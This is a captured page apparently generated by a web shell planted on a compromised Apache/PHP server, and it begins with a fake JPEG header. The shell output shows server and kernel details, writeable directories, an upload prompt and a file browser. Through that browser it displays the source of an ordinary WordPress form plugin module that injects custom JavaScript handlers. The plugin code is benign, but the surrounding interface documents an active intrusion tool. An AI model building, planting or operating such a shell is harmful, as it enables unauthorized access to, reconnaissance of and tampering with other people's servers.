����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/form/content/plugins/halfdata-green-forms/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/form/content/plugins/halfdata-green-forms/modules/customjs.php
<?php
/* HTML Form integration for Green Forms */
if (!defined('UAP_CORE') && !defined('ABSPATH')) exit;
class leform_customjs_class {
	var $default_form_options = array(
		"customjs-afterinit-enable" => "off",
		"customjs-afterinit-script" => "",
		"customjs-afterupdate-enable" => "off",
		"customjs-afterupdate-script" => "",
		"customjs-beforesubmit-enable" => "off",
		"customjs-beforesubmit-script" => "",
		"customjs-aftersubmitsuccess-enable" => "off",
		"customjs-aftersubmitsuccess-script" => ""
	);
	
	function __construct() {
		if (is_admin()) {
		}
		add_filter('leform_element_properties_meta', array(&$this, 'element_properties_meta'), 10, 1);
		add_filter('leform_form_suffix', array(&$this, 'front_form_suffix'), 10, 3);
	}
	
	function element_properties_meta($_meta) {
		$_meta['settings']['advanced-sections']['sections']['customjs'] = array('label' => esc_html__('Custom JavaScript Handlers', 'leform'), 'icon' => 'fab fa-js');
		$_meta_part = array(
			'start-customjs' => array('type' => 'section-start', 'section' => 'customjs'),
				'customjs-afterinit-enable' => array('value' => 'off', 'label' => esc_html__('AfterInit handler', 'leform'), 'tooltip' => esc_html__('Enable this feature to add JS-code which is executed when form initialized.', 'leform'), 'type' => 'checkbox'),
				'customjs-afterinit-script' => array('value' => '', 'label' => esc_html__('AfterInit code', 'leform'), 'tooltip' => esc_html__('JavaScript code which is executed when form initialized. Do not use script-tags (just put regular javascript-code) and make sure your javascript-code does not have any syntax errors.', 'leform'), 'type' => 'textarea', 'monospace' => 'on', 'visible' => array('customjs-afterinit-enable' => array('on'))),
				'customjs-afterupdate-enable' => array('value' => 'off', 'label' => esc_html__('AfterUpdate handler', 'leform'), 'tooltip' => esc_html__('Enable this feature to add JS-code which is executed when field value changed.', 'leform'), 'type' => 'checkbox'),
				'customjs-afterupdate-script' => array('value' => '', 'label' => esc_html__('AfterUpdate code', 'leform'), 'tooltip' => esc_html__('JavaScript code which is executed when field value changed. Do not use script-tags (just put regular javascript-code) and make sure your javascript-code does not have any syntax errors.', 'leform'), 'type' => 'textarea', 'monospace' => 'on', 'visible' => array('customjs-afterupdate-enable' => array('on'))),
				'customjs-beforesubmit-enable' => array('value' => 'off', 'label' => esc_html__('BeforeSubmit handler', 'leform'), 'tooltip' => esc_html__('Enable this feature to add JS-code which is executed before form submitted.', 'leform'), 'type' => 'checkbox'),
				'customjs-beforesubmit-script' => array('value' => '', 'label' => esc_html__('BeforeSubmit code', 'leform'), 'tooltip' => esc_html__('JavaScript code which is executed before form submitted. Do not use script-tags (just put regular javascript-code) and make sure your javascript-code does not have any syntax errors.', 'leform'), 'type' => 'textarea', 'monospace' => 'on', 'visible' => array('customjs-beforesubmit-enable' => array('on'))),
				'customjs-aftersubmitsuccess-enable' => array('value' => 'off', 'label' => esc_html__('AfterSubmitSuccess handler', 'leform'), 'tooltip' => esc_html__('Enable this feature to add JS-code which is executed when form successfully submitted.', 'leform'), 'type' => 'checkbox'),
				'customjs-aftersubmitsuccess-script' => array('value' => '', 'label' => esc_html__('AfterSubmitSuccess code', 'leform'), 'tooltip' => esc_html__('JavaScript code which is executed when form successfully submitted. Do not use script-tags (just put regular javascript-code) and make sure your javascript-code does not have any syntax errors.', 'leform'), 'type' => 'textarea', 'monospace' => 'on', 'visible' => array('customjs-aftersubmitsuccess-enable' => array('on'))),
			'end-customjs' => array('type' => 'section-end')
		);
		$_meta['settings'] = array_merge($_meta['settings'], $_meta_part);
		return $_meta;
	}

	function front_form_suffix($_suffix, $_element_id, $_form_object) {
		global $leform;
		$form_options = array_merge($this->default_form_options, $_form_object->form_options);
		$suffix = '
<script>
leform_customjs_handlers["'.$_element_id.'"] = {'.($form_options['customjs-afterinit-enable'] == 'on' && !empty($form_options['customjs-afterinit-script']) ? '
	afterinit:			function(){
		'.$form_options['customjs-afterinit-script'].'
	},': '').($form_options['customjs-aftersubmitsuccess-enable'] == 'on' && !empty($form_options['customjs-aftersubmitsuccess-script']) ? '
	aftersubmitsuccess:	function(){
		'.$form_options['customjs-aftersubmitsuccess-script'].'
	},': '').($form_options['customjs-afterupdate-enable'] == 'on' && !empty($form_options['customjs-afterupdate-script']) ? '
	afterupdate:		function(element_id){
		'.$form_options['customjs-afterupdate-script'].'
	},': '').($form_options['customjs-beforesubmit-enable'] == 'on' && !empty($form_options['customjs-beforesubmit-script']) ? '
	beforesubmit:		function(){
		'.$form_options['customjs-beforesubmit-script'].'
	},': '').'
	dom_id:				"'.$_element_id.'",
	form_id:			"'.$_form_object->id.'",
	errors:				{},
	user_data:			{},
	get_field_value:	function(_element_id) {return leform_get_field_value(this.dom_id, _element_id);},
	set_field_value:	function(_element_id, _value) {return leform_set_field_value(this.dom_id, _element_id, _value);}
};
</script>';
		return $_suffix.$suffix;
	}
	
}
$leform_customjs = new leform_customjs_class();
?>

ZeroDay Forums Mini